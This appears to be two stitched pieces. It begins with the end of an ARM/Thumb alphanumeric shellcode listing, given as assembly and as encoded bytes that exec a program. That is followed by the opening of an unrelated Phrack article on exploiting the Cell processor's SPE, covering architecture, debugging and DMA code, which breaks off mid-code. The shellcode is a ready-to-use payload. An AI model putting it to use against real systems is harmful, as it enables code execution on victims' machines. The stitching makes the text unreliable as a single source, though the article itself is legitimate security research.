EORMIS r7, r4, #56

# load arguments for SWI

# r0 = 0, r1 = ‑1, r2 = 0

SUBPL r5, SP, #48

# We use LDMPLFA, because it's one of the few instructions # we can use to write to the registers R0 to R2.

# Other instructions generate non‑alphanumeric characters LDMPLFA r5!, {r0, r1, r2, r6, r8, lr}

# Set r7 to ‑1

# Negative after this

SUBPLS r7, r7, #57

# This will become:

# SWIMI 0x9f0002

SWIMI 0x414141

# Set positive flag again

EORMIS r5, r4, #56

# set thumb mode

SUBPL r6, pc, r7, ROR #2

# this should be BXPL r6

# but in hex that's

# 0x51 0x2f 0xff 0x16, so we

# overwrite the 0x30 above

.byte 0x30,0x30,0x30,0x51

.THUMB

.ALIGN 2

# We assume r2 is 0 before

# entering Thumb mode

# copy pc to r0

mov r0, pc

# OFFSET USED HERE

# IF CODE CHANGES, CHANGE OFFSET

# misalign r0 to address of 1execme2 ‑ 47

# we will write to r0+47 and r0+54

# (beginning of the string)

add r0, #100

sub r0, #105

# set r1 to 0

mul r1, r2

# set r1 tp 47

add r1, #97

sub r1, #50

# store r1 ('/') at r0+47

# string becomes /execme2

strb r1, [r0, r1]

# set r1 to 0

mul r1, r2

# set r1 to 54

add r1, #54

# store 0 at r0+54

# string becomes /execme\0

strb r2, [r0, r1]

# set r1 to 0

mul r1, r2

# set r1 to ‑1

add r1, #48

sub r1, #49

# set r7 to 1

neg r7, r1

# set r1 to 0

mul r1, r2

# set r1 to 11 (0xb),

# the exec system call code

add r1, #65

sub r1, #54

# our systemcall code must be in r7

# r7 = 1, r1 contains the code

mul r7, r1

# set r1 to 0 (first parameter of execve)

mul r1, r2

# set r0 to beginning of the string

add r0, #97

sub r0, #50

# This wil become: swi 48

.byte 0x30,0x30

# This is a nop used for

# alignment

add r7, #50

# our command

.ascii "1execme2"

# nops used for alignment

add r7, #50

add r7, #50

‑‑‑‑[ A.2 Resulting Bytes

char shellcode[] = "\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41" "\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41" "\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41" "\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41" "\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41" "\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41" "\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41\x52\x38\x30\x41" "\x52\x30\x30\x4f\x42\x30\x30\x4f\x52\x30\x30\x53\x55\x30\x30\x53" "\x45\x39\x50\x53\x42\x39\x50\x53\x52\x30\x70\x4d\x42\x38\x30\x53" "\x42\x63\x41\x43\x50\x64\x61\x44\x50\x71\x41\x47\x59\x79\x50\x44" "\x52\x65\x61\x4f\x50\x65\x61\x46\x50\x65\x61\x46\x50\x65\x61\x46" "\x50\x65\x61\x46\x50\x65\x61\x46\x50\x65\x61\x46\x50\x64\x30\x46" "\x55\x38\x30\x33\x52\x39\x70\x43\x52\x50\x50\x37\x52\x30\x50\x35" "\x42\x63\x50\x46\x45\x36\x50\x43\x42\x65\x50\x46\x45\x42\x50\x33" "\x42\x6c\x50\x35\x52\x59\x50\x46\x55\x56\x50\x33\x52\x41\x50\x35" "\x52\x57\x50\x46\x55\x58\x70\x46\x55\x78\x30\x47\x52\x63\x61\x46" "\x50\x61\x50\x37\x52\x41\x50\x35\x42\x49\x50\x46\x45\x38\x70\x34" "\x42\x30\x50\x4d\x52\x47\x41\x35\x58\x39\x70\x57\x52\x41\x41\x41" "\x4f\x38\x50\x34\x42\x67\x61\x4f\x50\x30\x30\x30\x51\x78\x46\x64" "\x30\x69\x38\x51\x43\x61\x31\x32\x39\x41\x54\x51\x43\x36\x31\x42" "\x54\x51\x43\x30\x31\x31\x39\x4f\x42\x51\x43\x41\x31\x36\x39\x4f" "\x43\x51\x43\x61\x30\x32\x38\x30\x30\x32\x37\x31\x65\x78\x65\x63" "\x6d\x65\x32\x32\x37\x32\x37";

80AR80AR80AR80AR80AR80AR80AR80AR80AR80AR80AR80AR80AR80AR80AR80AR80AR80AR 80AR80AR80AR80AR80AR80AR80AR80AR80AR00OB00OR00SU00SE9PSB9PSR0pMB80SBcACP daDPqAGYyPDReaOPeaFPeaFPeaFPeaFPeaFPeaFPd0FU803R9pCRPP7R0P5BcPFE6PCBePFE BP3BlP5RYPFUVP3RAP5RWPFUXpFUx0GRcaFPaP7RAP5BIPFE8p4B0PMRGA5X9pWRAAAO8P4B gaOP000QxFd0i8QCa129ATQC61BTQC0119OBQCA169OCQCa02800271execme22727

Power cell buffer overflow

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x0D of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑=[ Hacking the Cell Broadband Engine Architecture ]=‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ SPE software exploitation ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By BSDaemon ]=‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ <bsdaemon *noSPAM* risesecurity_org> ]=‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"There are two ways of

constructing a software design.

One way is to make it so simple

that there are obviously no

deficiencies. And the other way

is to make it so complicated that

there are no obvious deficiencies"

‑ C.A.R. Hoare

‑‑‑‑‑‑[ Index

1 ‑ Introduction

1.1 ‑ Paper structure

2 ‑ Cell Broadband Engine Architecture

2.1 ‑ What is Cell

2.2 ‑ Cell History

2.2.1 ‑ Problems it solves

2.2.2 ‑ Basic Design Concept

2.2.3 ‑ Architecture Components

2.2.4 ‑ Processor Components

2.3 ‑ Debugging Cell

2.3.1 ‑ Linux on Cell

2.3.2 ‑ Extensions to Linux

2.3.2.1 ‑ User‑mode

2.3.2.2 ‑ Kernel‑mode

2.3.3 ‑ Debugging the SPE

2.4 ‑ Software Development for Linux on Cell

2.4.1 ‑ PPE/SPE hello world

2.4.2 ‑ Standard Library Calls from SPE

2.4.3 ‑ Communication Mechanisms

2.4.4 ‑ Memory Flow Control (MFC) Commands

2.4.5 ‑ Direct Memory Access (DMA) Commands

2.4.5.1 ‑ Get/Put Commands

2.4.5.2 ‑ Resources

2.4.5.3 ‑ SPE 2 SPE Communication

3 ‑ Exploiting Software Vulnerabilities on Cell SPE

3.1 ‑ Memory Overflows

3.1.1 ‑ SPE memory layout

3.1.2 ‑ SPE assembly basics

3.1.2.1 ‑ Registers

3.1.2.2 ‑ Local Storage Addressing Mode

3.1.2.3 ‑ External Devices

3.1.2.4 ‑ Instruction Set

3.1.3 ‑ Exploiting software vulnerabilities in SPE

3.1.3.1 ‑ Avoiding Null Bytes

3.1.4 ‑ Finding software vulnerabilities on SPE

4 ‑ Future and other uses

5 ‑ Acknowledgements

6 ‑ References

7 ‑ Notes on SDK/Simulator Environment

8 ‑ Sources

‑‑‑‑‑‑[ 1 ‑ Introduction

This article is all about Cell Broadband Architecture Engine [1], a new hardware designed by a joint between Sony [2], Toshiba [3] and IBM [4].

As so, lots of architecture details will be explained, and also many development differences for this platform.

The biggest differentiator between this article and others released about this subject, is the focus on the architecture exploitation and not the use of the powerful processor resources to break code [5] and of course, the focus in the differentiators of the architecture, which means the SPU (synergestic processor unit) and not in the core (PPU ‑ power processor unit) [6], since the core is a small‑modified power processor (which means, all shellcodes for Linux on Power will also works for the core and there is just small differences in the code allocation and stuffs like that).

It's important to mention that everything about Cell tries to focus in the Playstation3 hardware, since it's cheap and widely deployed, but there is also big machines made with this processor [7], including the #1 in the list of supercomputers [8].

‑‑‑[ 1.1 ‑ Paper structure

The idea of this paper is to complete the studies about Cell, putting all the information needed to do security research, focused in software exploitation for this architecture together.

For that, the paper have been structured in two important portions:

Chapter 2 will be all about the Cell Architecture and how to develop for this architecture. It includes many samples and explains the modifications done to Linux in order to get the best from this architecture. Also, it gives the knowledge needed in order to go further in software exploitation for this arch. Chapter 3 is focused in the exploitation of the SPU processor, showing the simple memory layout it has and how to write a shellcode for the purpose of gaining control over an application running inside the SPU.

‑‑‑‑‑‑[ 2 ‑ Cell Broadband Engine Architecture

From the IBM Research [9]: "The Cell Architecture grew from a challenge posed by Sony and Toshiba to provide power‑efficient and cost‑effective high‑performance processing for a wide range of applications, including the most demanding consumer appliance: game consoles. Cell ‑ also known as the Cell Broadband Engine Architecture (CBEA) ‑ is an innovative solution whose design was based on the analysis of a broad range of workloads in areas such as cryptography, graphics transform and lighting, physics, fast‑Fourier transforms (FFT), matrix operations, and scientific workloads. As an example of innovation that ensures the clients' success, a team from IBM Research joined forces with teams from IBM Systems Technology Group, Sony and Toshiba, to lead the development of a novel architecture that represents a breakthrough in performance for consumer applications. IBM Research participated throughout the entire development of the architecture, its implementation and its software enablement, ensuring the timely and efficient application of novel ideas and technology into a product that solves real challenges."

It's impossible to not get excited with this. A so 'powerful' and versatile architecture, completely different from what we usually seen is an amazing stuff to research for software vulnerabilities. Also, since it's supposed to be widely deployed, there will be an infinite number of new vulnerabilities coming on in the near future. I wanted to exploit those vulnerabilities.

‑‑‑[ 2.1 ‑ What is Cell

As must be already clear to the reader, I'm not talking about phones here. Cell is a new architecture, which cames to solve some of the actual problems in the computer industry.

It's compatible with a well‑known architecture, which are the Power Architecture, keeping most of it's advantages and solving most of it's problems (if you cannot wait until know what problems, go to 2.2.1 section).

‑‑‑[ 2.2 ‑ Cell History

The focus of this section is just to give a timeline vision for the reader, not been detailed at all.

The architecture was born from a joint between IBM, Sony and Toshiba, formed in 2000.

They opened a design center in March 2001, based in Austin, Texas (USA).

In the spring of 2004, a single Cell BE became operational. In the summer of the same year, a 2‑way SMP version was released.

The first technical disclosures came just in February 2005, with the simulator [10] and open‑source SDK [11] (more on that later) been released in November of the same year. In the same month, Mercury started to sell Cell (yeah, sell Cell sounds funny) machines.

Cell Blades was announced by IBM in February of 2006. The SDK 1.1 was released in July of the same year, with many improvements. The latest version is 3.1.

‑‑‑[ 2.2.1 ‑ Problems it solves

The computer technology have been evolving along the years, but always suffering and trying to avoid some barriers.

Those barriers are physically impossible to be bypassed and that's why the processor clock stopped to grow and multi‑core architectures been focused.

Basically we have three big walls (barriers) to the speedy grow: ‑ Power wall

It's related to the CMOS technology limits and the hard limit to the acceptable system power

‑ Memory wall

Many comparisons and improvements trying to avoid the DRAM latency when compared to the processor frequency

‑ Frequency wall

Diminishing return from deeper pipelines

For a new architecture to work and be widely deployed, it was also important to keep the investments in software development.

Cell accomplish that being compatible with the 64 bits Power Architecture, and attacks the walls in the following ways:

‑ Non‑homogeneous coherent multi‑processor and high design frequency at a low operating voltage with advanced power management attacks the 'power wall'.

‑ Streaming DMA architecture and three‑level memory model (main storage, local storage and register files) attacks the 'memory wall'.

‑ Non‑homogeneous coherent multi‑processor, highly‑optimized implementation and large shared register files with software controlled branching to allow deeper pipelines attacks the 'frequency wall'.

It have been developed to support any OS, which means it supports real‑time operating system as well non‑real time operating systems.

‑‑‑[ 2.2.2 ‑ Basic Design Concept

The basic concept behind cell is it's asymmetric multi‑core design. That permits a powerful design, but of course requires specific‑developed applications to achieve the most of the architecture.

Knowing that, becomes clear that the understanding of the new component, which is called SPU (synergistic processor unit) or SPE (synergistic processor element) proofs to be essential ‑ see the next section for a better understanding of the differences between SPU and SPE.

‑‑‑[ 2.2.3 ‑ Architecture Components

In cell what we have is a core processor, called Power Processor Element (PPE) which control tasks and synergistic processor elements (SPEs) for data‑intensive processing.

The SPE consists of the synergistic processor unit (SPU), which are a processor itself and the memory flow control (MFC), responsible for the data movements and synchronization, as well for the interface with the high‑performance element interconnect bus (EIB).

Communications with the EIB are done in a 16B/cycle, which means that each SPU is interconnected at that speedy with the bus, which supports 96B/cycle.

Refer to the picture architecture‑components.jpg in the directory images of the attached file for a visual of the above explanation.

‑‑‑[ 2.2.4 ‑ Processor Components

As said, the Power Processor Element (PPE) is the core processor which control tasks (scheduling). It is a general purpose 64 bit RISC processor (Power architecture).

It's 2‑way hardware multithreaded, with a L1: 32KB I and D caches and L2: 512KB cache.

Has support for real‑time operations, like locking the L2 cache and the TLB (also it supports managed TLB by hardware and software). It has bandwidth and resource reservation and mediated interrupts.

It's also connected to the EIB using a 16B/cycle channel (figure processor‑components.jpg).

The EIB itself supports four 16 bytes data rings with simultaneous transfers per ring (it will be clarified later).

This bus supports over 100 simultaneous transactions achieving in each bus data port more than 25.6 Gbytes/sec in each direction.

On the other side, the synergistic processor element is a simple RISC user‑mode architecture supporting dual‑issue VMX‑like, graphics SP‑float and IEEE DP‑float.

Important to note that the SPE itself has dedicated resources: unified 128 x 128 bit register files and 256KB local storage. Each SPE has a dedicated DMA engine, supporting 16 requests.

The memory management on this architecture simplified it's use, with the local storage of the SPE being aliased into the PPE system memory (figure processor‑components2.jpg).

MFC in the SPE acts as the MMU providing controls over the SPE DMA access and it's compatible with the PowerPC Virtual Memory layout and is software controllable using PPE MMIO.

DMA access supports 1,2,4,8...n*16 bytes transfer, with a maximum of 16 KB for I/O, and with two different queues for DMA commands: Proxy & SPU (more on this later).

EIB is also connected in a broadband interface controller (BIC). The purpose of this controller is to provide external connectivity for devices. It supports two configurable interfaces (60 GB/s) with a configurable number of bytes, coherent (BIF) and/or I/O (IOIFx) protocols, using two virtual channels per interface, and multiple system configurations.

The memory interface controller (MIC) is also connected to the EIB and is a Dual XDR controller (25.6 GB/s) with ECC and suspended DRAM support (figure processor‑components3.jpg).

Still are missing two more components: The internal interrupt controller (IIC) and the I/O Bus Master Translation (IOT) (figure processor‑components4.jpg).

The IIC handles the SPE interrupts as well as the external interrupts and interrupts comming from the coherent interconnect and the IOIF0 and IOIF1. It is also responsible for the interrupt priority level control and for the interrupt generation ports for IPI. Note that the IIC is duplicated for each PPE hardware thread.

IOT translates bus addresses to system real addresses, supporting two level translations:

‑ I/O segments (256 MB)

‑ I/O pages (4K, 64K, 1M, 16M bytes)

Interesting is the resource of I/O device identifier per page for LPAR use (blades) and IOST/IOPT caches managed by software and hardware.

‑‑‑[ 2.3 ‑ Debugging Cell

As the bus is a high‑speedy circuit, it's really difficult to debug the architecture and better seen what is going on.

For that, and also to made it easy to develop software for Cell, IBM Research developed a Cell simulator [10] in which you may run Linux and install the software development kit [11].

The IBM Linux Technology Center brazilian team developed a plugin for eclipse as an IDE for the debugger and SDK. Putting it all together is possible to have the toolkit installed in a Linux machine, running the frontends for the simulator and for the SDK. The debugging interface is much better using this frontends. Anyway, it's important to notice that it's just a frontend for the normal and well know linux tools with extended support to Cell processor (GDB and GCC).

‑‑‑[ 2.3.1 ‑ Linux on Cell

Linux on cell is an open‑source git branch and is provided in the PowerPC 64 kernel line.

It started in the 2.6.15 and is evolving to support many new features, like the scheduling improvements for the SPUs (actually it can be preempted, and my big friend Andre Detsch who reviewed this article was one of the biggest contributors to create an stable code here).

On Linux it added heterogeneous lwp/thread model, with a new SPE thread model (really similar to the pthreads library as we will see later), supporting user‑mode direct and indirect SPE access, full‑preemptive SPE context management and for that, spe_ptrace() was create and it's support added to GDB, spe_schedule() for thread to physical spe assigment (it is not anymore FIFO ‑ run until completion).

As a note, the SPE threads shares it's address space with the parent PPE process (using DMA), demand paging for SPE access and shared hardware page table with PPE.

An implementation detail is the PPE proxy thread allocated for each SPE to provide a single namespace for both PPE and SPE and assist in SPE initiated C99 and Posix library services.

All the events, error and signal handling for SPEs are done by the parent PPE thread.

The ELF objects for SPE are wrapped into PPE objects with an extended GLD.

‑‑‑[ 2.3.2 ‑ Extensions to Linux

Here I'll try to provide some details for Linux running under a Cell Hardware. The base hardware used for this reference is a Playstation 3, which has 8 SPUs, but one is reserved with the purpose of redundancy and another one is used as hypervisor for a custom OS (in this case, Linux).

All the details are valid for any Linux on Cell and we will provide an top‑down view approach.

‑‑‑[ 2.3.2.1 ‑ User‑mode

Cell supports both power 32 and 64 bits applications, as well as 32 and 64 cell workloads. It has different programming modes, like RPC, devices subsystems and direct/indirect access.

As already said, it has heterogeneous threads: single SPU, SPU groups and shared memory support.

It runs over a SPE management runtime library, with 32 and 64 bits. This library interacts with the SPUFS filesystem (/spu/thread#/) in the following ways:

* Open, close, read, write the files:

‑ mem

This file provides access to the local storage

‑ regs

Access to the 128 register of 128 bits each

‑ mbox

spe to ppe mailbox

‑ liox

spe to ppe interrupt mailbox

‑ xbox_stat

Get the mailbox status

‑ signal1

Signal notification acess

‑ signal2

Signal notification acess

‑ signalx_type

Signal type

‑ npc

Read/write SPE next program counter (for debugging)

‑ fpcr

SPE floating point control/status register

‑ decr

SPE decrementer

‑ decr_status

SPE decrementer status

‑ spu_tag_mask

Access tag query mask

‑ event_mask

Access spe event mask

‑ srr0

Access spe state restore register 0

* open, close mmap the files:

‑ mem

Program State access of the Local Storage

‑ signal1

Direct application access to signal 1

‑ signal2

Direct application access to signal 2

‑ cntl

Direct application access to SPE controls, DMA queues and mailboxes

The library also provides SPE task control system calls (to interact with the SPE system calls implemented in kernel‑mode), which are: ‑ sys_spu_create_thread

Allocates a SPE task/context and creates a directory in SPUFS

‑ sys_spu_run

Activates a SPU task/context on a physical SPE and blocks in the kernel as a proxy thread to handle the events already mentioned

Some functions provided by the library are related to the management of the spe tasks, like spe create group, create thread, get/set affinity, get/set context, get event, get group, get ls, get ps area, get threads, get/set priority, get policy, set group defaults, group max, kill/wait, open/close image, write signal, read in_mbox, write out_mbox, read mbox status.

Obviously the standard 32 and 64 bits powerpc ELF (binary) interpreters, it is provided a SPE object loader, responsible for understand the extension to the normal objects already mentioned and for initiate the loading of the SPE threads.

Going down, we have the glibc and other GNU libraries, both supporting 32 and 64 bits.

‑‑‑[ 2.3.2.2 ‑ Kernel‑mode

The next layer is the normal system‑call interface, where we have the SPU management framework (through special files in the spufs) and modifications in the exec* interface, in a 64bit kernel.

This modification is done through a special misc format binary, called SPU object loader extension.

Of course there is other kernel extensions, the SPUFS filesystem, which provides the management interface and the SPU allocation, scheduling and dispatch.

Also, we do have the Cell BE architecture specific code, supporting multi and large pages, SPE event & fault handling, IIC and IOMMU.

Everything is controlled by a hypervisor, since Linux is what is called a custom OS when running in a Playstation3 hardware (the hypervisor is responsible for the protection of the 'secret key' of the hardware and knowing how to exploit SPU vulnerabilities plus some fuzzing on the hypervisor may be the needed knowledge to break the game protection copy in this hardware).

‑‑‑[ 2.3.3 ‑ Debugging the SPE

The SDK for Linux on Cell provides good resources for Debugging and better understanding of what is going on.

It's important to note the environment variables that control the behaviour of the system.

So, if you set the SPU_INFO, for example, the spe runtime library will print messages when loading a SPE ELF executable (see above).

‑‑‑‑‑‑‑‑‑‑ begin output ‑‑‑‑‑‑‑‑‑‑

# export SPU_INFO=1

# ./test

Loading SPE program: ./test

SPU LS Entry Addr : XXX

‑‑‑‑‑‑‑‑‑‑ end output ‑‑‑‑‑‑‑‑‑‑

And it will also print messages before starting up a new SPE thread, like:

‑‑‑‑‑‑‑‑‑‑ begin output ‑‑‑‑‑‑‑‑‑‑

Starting SPE thread 0x..., to attach debugger use: spu‑gdb ‑p XXX ‑‑‑‑‑‑‑‑‑‑ end output ‑‑‑‑‑‑‑‑‑‑

When planning to use the spu‑gdb to debug a SPU thread, it's important to remember the SPU_DEBUG_START environment variable, which will include everything provided by the SPU_INFO and will stop the thread until a debugger is attached or a signal is received.

Since each SPU register can hold multiple fixed (or floating) point values of different sizes, for GDB is provided a data structure that can be accessed with different formats. So, specifying the field in the data structure, we can update it using different sizes as well:

‑‑‑‑‑‑‑‑‑‑ begin output ‑‑‑‑‑‑‑‑‑‑

(gdb) ptype $r70

type = union __gdb_builtin_type_vec128 {

int128_t uint128;

float v4_float[4];

int32_t v4_int32[4];

int16_t v8_int16[8];

int8_t v16_int8[16];

}

(gdb) p $r70.uint128

$1 = 0x00018ff000018ff000018ff000018ff0

(gdb) set $r70.v4_int[2]=0xdeadbeef

(gdb) p $r70.uint128

$2 = 0x00018ff000018ff0deadbeef00018ff0

‑‑‑‑‑‑‑‑‑‑ end output ‑‑‑‑‑‑‑‑‑‑

To permit you to better understand when the SPU code starts the execution and follow it gdb also included an interesting option:

‑‑‑‑‑‑‑‑‑‑ begin output ‑‑‑‑‑‑‑‑‑‑

(gdb) set spu stop‑on‑load

(gdb) run

...

(gdb) info registers

‑‑‑‑‑‑‑‑‑‑ end output ‑‑‑‑‑‑‑‑‑‑

Another important information for debugging your code is to understand the internal sizes and be prepared for overlapping. Useful information can be get using the following fragment code inside your spu program (careful: It's not freeing the allocated memory).

‑‑‑ code ‑‑‑

extern int _etext;

extern int _edata;

extern int _end;

void meminfo(void)

{

printf("\n&_etext: %p", &_etext);

printf("\n&_edata: %p", &_edata);

printf("\n&_end: %p", &_end);

printf("\nsbrk(0): %p", sbrk(0));

printf("\nmalloc(1024): %p", malloc(1024)); printf("\nsbrk(0): %p", sbrk(0));

}

‑‑‑ end code ‑‑‑

And of course you can also play with the GCC and LD arguments to have more debugging info:

‑‑‑ code ‑‑‑

# vi Makefile

CFLAGS += ‑g

LDFLAGS += ‑Wl,‑Map,map_filename.map

‑‑‑ end code ‑‑‑

‑‑‑[ 2.4 ‑ Software Development for Linux on Cell

In this chapter I will introduce the inners of the Cell development, giving the basic knowledge necessary to better understand the further chapters.

‑‑‑[ 2.4.1 ‑ PPE/SPE hello world

Every program in Cell that uses the SPEs needs to have at least two source codes. One for the PPE and another one for the SPE.

Following is a simple code to run on the SPE (it's also in the attached tar file :

‑‑‑ code ‑‑‑

#include <stdio.h>

int main(unsigned long long speid, unsigned long long argp, unsigned long long envp) {

printf("\nHello World!\n");

return 0;

}

‑‑‑ end code ‑‑‑

The Makefile for this code will look like:

‑‑‑ code ‑‑‑

PROGRAM_spu = hello_spu

LIBRARY_embed = hello_spu.a

IMPORTS = $(SDKLIB_spu)/libc.a

include ($TOP)/make.footer

‑‑‑ end code ‑‑‑

Of course it looks like any normal code. The PPE as already explained is the responsible for the creation of the new thread and allocation in the SPE:

‑‑‑ code ‑‑‑

#include <stdio.h>

#include <libspe.h>

extern spe_program_handle_t hello_spu;

int main(void)

{

int speid, status;

speid=spe_create_thread(0, &hello_spu, NULL, NULL, ‑1, 0); spe_wait(speid, &status, 1);

return 0;

}

‑‑‑ end code ‑‑‑

With the following Makefile:

‑‑‑ code ‑‑‑

DIRS = spu

PROGRAM_ppu = hello_ppu

IMPORTS = ../spu/hello_spu.a ‑lspe

include $(TOP)/make.footer

‑‑‑ end code ‑‑‑

The reader will notice that the speid in the PPE program will be the same value as the speid in the main of the SPE.

Also, the arguments passed to the spe_create_thread() are the ones received by the SPE program when running (argp and envp equals to NULL in our sample).

Important to remember that when compiled this program will generate a binary in the spu directory, called hello_spu and another one in the root directory of this example called hello_ppu, which CONTAINS embedded the hello_spu.

‑‑‑[ 2.4.2 ‑ Standard Library Calls from SPE

When the SPE program needs to use any standard library call, like for example, printf or exit, it has to call back to the PPE main thread.

It uses a simple stop‑and‑signal assembly instruction with standardized arguments value (important to remember that since it's needed in shellcodes for SPE).

That value is returned from the ioctl call and the user thread must react to that. This means copying the arguments from the SPE Local Storage, executing the library call and then calling ioctl again.

The instruction according to the manual:

"stop u14 ‑ Stop and signal. Execution is stopped, the current address is written to the SPU NPC register, the value u14 is written to the SPU status register, and an interrupt is sent to the PPU."

This is a disassembly output of the hello_spu program:

‑‑‑‑‑‑‑‑‑‑ begin output ‑‑‑‑‑‑‑‑‑‑

# spu‑gdb ./hello_spu

GNU gdb 6.3

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "‑‑host=powerpc64‑unknown‑linux‑gnu ‑‑target=spu"... (gdb) disassemble main

Dump of assembler code for function main:

0x00000170 <main+0>: ila $3,0x340 <.rodata>

0x00000174 <main+4>: stqd $0,16($1)

0x00000178 <main+8>: nop $127

0x0000017c <main+12>: stqd $1,‑32($1)

0x00000180 <main+16>: ai $1,$1,‑32

0x00000184 <main+20>: brsl $0,0x1a0 <puts> # 1a0

0x00000188 <main+24>: ai $1,$1,32 # 20

0x0000018c <main+28>: fsmbi $3,0

0x00000190 <main+32>: lqd $0,16($1)

0x00000194 <main+36>: bi $0

0x00000198 <main+40>: stop

0x0000019c <main+44>: stop

End of assembler dump.

(gdb)

‑‑‑‑‑‑‑‑‑‑ end output ‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 2.4.3 ‑ Communication Mechanisms

The architecture offers three main communications mechanism:

‑ DMA

Used to move data and instructions between main storage and a local storage. SPEs rely on asyncronous DMA transfers to hide memory latency and transfer overhead by moving information in parallel with SPU computation.

‑ Mailbox

Used for control communications between a SPE and the

PPE or other devices. Mailboxes holds 32‑bit messages. Each SPE has two mailboxes for sending messages and one mailbox for receiving messages.

‑ Signal Notification

Used for control communications from PPE or

other devices. Signal notification (also known as signalling) uses 32‑bit registers that can be configured for one‑sender‑to‑one‑receiver signalling or many‑senders‑to‑one‑receiver signalling.

All three are controlled and implemented by the SPE MFC and it's importance is related to the way the vulnerable program will receive it's input.

‑‑‑[ 2.4.4 ‑ Memory Flow Control (MFC) Commands

This is the main mechanism for the SPE to access the main storage and maintain syncronization with other processors and devices in the system.

MFC commands can be issued either by the SPE itself, or by the processor and other devices, as follow:

‑ A code running on the SPU issue a MFC command by executing a series of writes and/or reads using channel instructions.

‑ A code running on the PPU or any other device issue a MFC command by performing a serie of stores and/or loads to memory‑mapped I/O (MMIO) registers in the MFC.

The MFC commands are then queued in one of those independent queues: ‑ MFC SPU Command Queue ‑ For channel‑initiated commands by the associated SPU

‑ MFC Proxy Command Queue ‑ For MMIO‑initiated commands by the PPE or other devices.

‑‑‑[ 2.4.5 ‑ Direct Memory Access (DMA) Commands

The MFC commands that transfers data are referred as DMA commands. The transfer direction for DMA commands are based on the SPE point of view: ‑ Into a SPE (from main storage to the local storage) ‑> get

‑ Out of a SPE (from local storage to the main storage) ‑> put

‑‑‑[ 2.4.5.1 ‑ Get/Put Commands

DMA get from the main memory to the local storage:

(void) mfc_get (volatile void *ls, uint64_t ea, uint32_t size, uint32_t tag, uint32_t tid, uint32_t rid)

DMA put into the main memory from the local storage:

(void) mfc_put (volatile void *ls, uint64_t ea, uint32_t size, uint32_t tag, uint32_t tid, uint32_t rid)

To guarantee the synchronization of the writes to the main memory, there is the options:

‑ mfc_putf: the 'f' means fenced, or, that all commands executed before within the same tag group must finish first, later ones could be before

‑ mfc_putb: the 'b' here means barrier, or, that the barrier command and all commands issued thereafter are NOT executed until all previously issued commands in the same tag group have been performed

‑‑‑[ 2.4.5.2 ‑ Resources

For DMA operations the system uses DMA transfers with variable length sizes (1, 2, 4, 8 and n*16 bytes (n an integer, of course). There is a maximum of 16 KB per DMA transfer and 128b aligments offer better performance.

The DMA queues are defined per SPU, with 16‑element queue for SPU‑initiated requests and 8‑element queue for PPU‑initiated requests. The SPU‑initiated request has always a higher priority.

To differentiate each DMA command, they receive a tag, with a 5‑bit identifier. Same identifier can be applied to multiple commands since it's used for polling status or waiting on the completion of the DMA commands.

A great feature provided is the DMA lists, where a single DMA command can cause execution of a list of transfers requests (in local storage). Lists implements scatter‑gather functions and may contain up to 2K transfer requests.

‑‑‑[ 2.4.5.3 ‑ SPE 2 SPE Communication

An address in another SPE local storage is represented as a 32‑bit effective address (global address).

SPE issuing a DMA command needs a pointer to the other SPE's local storage. The PPE code can obtain effective address of an SPE's local storage:

‑‑‑ code ‑‑‑

#include <libspe.h>

speid_t speid;

void *spe_ls_addr;

spe_ls_addr=spe_get_ls(speid);

‑‑‑ end code ‑‑‑

This permits the PPE to give to the SPEs each other local addresses and control the communications. Vulnerabilities may arise don't matter what is the communication flow, even without involving the PPE itself.

Follow is a simple DMA demo program between PPE and SPE (see the attached file for the complete version) ‑ This program will send an address in the PPE to the SPE through DMA:

‑‑‑ PPE code ‑‑‑

information_sentis[1] __attribute__ ((aligned 128)));

spe_git_tgid;

int * pointer=(int *)malloc(128);

gid=spe_create_group(SCHED_OTHER, 0, 1);

if (spe_group_max(gid) < 1 ) {

printf("\nOps, there is no free SPE to run it...\n"); exit(EXIT_FAILURE);

}

is[0].addr = (unsigned int) pointer;

/* Create the SPE thread */

speid=spe_create_thread (gid, &hello_dma, (unsigned long long *) &is[0], NULL, ‑1, 0);

/* Wait for the SPE to complete */

spe_wait(speids[0], &status[0], 0);

/* Best pratice: Issue a sync before ending ‑ This is good for us ;) */

__asm__ __volatile__ ("sync" : : : "memory");

‑‑‑ end code ‑‑‑

‑‑‑ SPE code ‑‑‑

information_sentis __attribute__ ((aligned 128)));

int main(unsigned long long speid, unsigned long long argp, unsigned long long envp) {

/* Where:

is ‑> Address in local storage to place the data

argp ‑> Main memory address

sizeof(is) ‑> Number of bytes to read

31 ‑> Associated tag to this DMA (from 0 to 31)

0 ‑> Not useful here (just when using caching)

0 ‑> Not useful here (just when using caching)

*/

mfc_get(&is, argp, sizeof(is), 31, 0, 0);

mfc_write_tag_mask(1<<31); /* Always 1 left‑shifted the value of your tag mask */

